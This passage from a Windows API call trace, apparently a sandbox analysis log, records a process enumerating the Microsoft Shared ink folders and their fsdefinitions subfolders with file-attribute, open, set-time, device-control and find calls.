Flags=0x0, BaseAddress=0x945638) returned 1 [0266.087] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0266.087] GetLastError () returned 0x12 [0266.087] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.087] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.087] GetLastError () returned 0x12 [0266.087] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0266.087] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.087] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.087] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0266.088] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.088] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x955c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x955c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.088] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955c78) returned 1 [0266.088] NtClose (Handle=0x18c) returned 0x0 [0266.088] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.088] GetLastError () returned 0x12 [0266.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0266.088] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.089] GetLastError () returned 0x12 [0266.089] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0266.089] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.089] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.089] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0266.089] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.089] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x955c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x955c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.089] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955c78) returned 1 [0266.090] NtClose (Handle=0x190) returned 0x0 [0266.090] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.090] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0266.329] GetLastError () returned 0x12 [0266.329] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.329] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.330] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0266.375] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0266.375] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x955c78, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x955c78, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0266.375] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955c78) returned 1 [0266.375] NtClose (Handle=0x190) returned 0x0 [0266.375] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.375] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0266.377] GetLastError () returned 0x12 [0266.377] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549100 [0266.377] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.377] GetLastError () returned 0x12 [0266.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955238) returned 1 [0266.377] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955340) returned 1 [0266.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.377] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0266.378] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0266.378] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x955c78, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x955c78, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0266.378] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955c78) returned 1 [0266.378] NtClose (Handle=0x198) returned 0x0 [0266.378] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549100 [0266.378] GetLastError () returned 0x12 [0266.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0266.378] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.379] GetLastError () returned 0x12 [0266.379] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955340) returned 1 [0266.379] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.379] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955238) returned 1 [0266.379] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.379] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0266.379] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0266.379] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x955c78, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x955c78, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0266.379] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955c78) returned 1 [0266.379] NtClose (Handle=0x190) returned 0x0 [0266.380] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.380] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0266.528] GetLastError () returned 0x12 [0266.528] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549100 [0266.529] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.529] GetLastError () returned 0x12 [0266.529] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955238) returned 1 [0266.529] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955340) returned 1 [0266.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0266.530] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0266.530] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0266.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.531] NtClose (Handle=0x198) returned 0x0 [0266.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.531] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549100 [0266.531] GetLastError () returned 0x12 [0266.531] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0266.531] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.531] GetLastError () returned 0x12 [0266.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955340) returned 1 [0266.531] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955238) returned 1 [0266.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0266.620] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0266.620] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0266.620] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.620] NtClose (Handle=0x190) returned 0x0 [0266.620] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.621] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0266.621] GetLastError () returned 0x12 [0266.621] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549100 [0266.621] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.621] GetLastError () returned 0x12 [0266.621] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955238) returned 1 [0266.621] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.622] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955340) returned 1 [0266.622] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0266.622] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0266.622] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0266.623] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.623] NtClose (Handle=0x198) returned 0x0 [0266.623] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.623] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549100 [0266.623] GetLastError () returned 0x12 [0266.623] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0266.623] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.623] GetLastError () returned 0x12 [0266.623] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955340) returned 1 [0266.624] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.624] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955238) returned 1 [0266.624] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.624] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0266.624] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0266.624] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0266.625] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.625] NtClose (Handle=0x190) returned 0x0 [0266.625] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.625] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0266.625] GetLastError () returned 0x12 [0266.625] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549100 [0266.625] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.625] GetLastError () returned 0x12 [0266.625] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955238) returned 1 [0266.626] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.626] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955340) returned 1 [0266.626] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 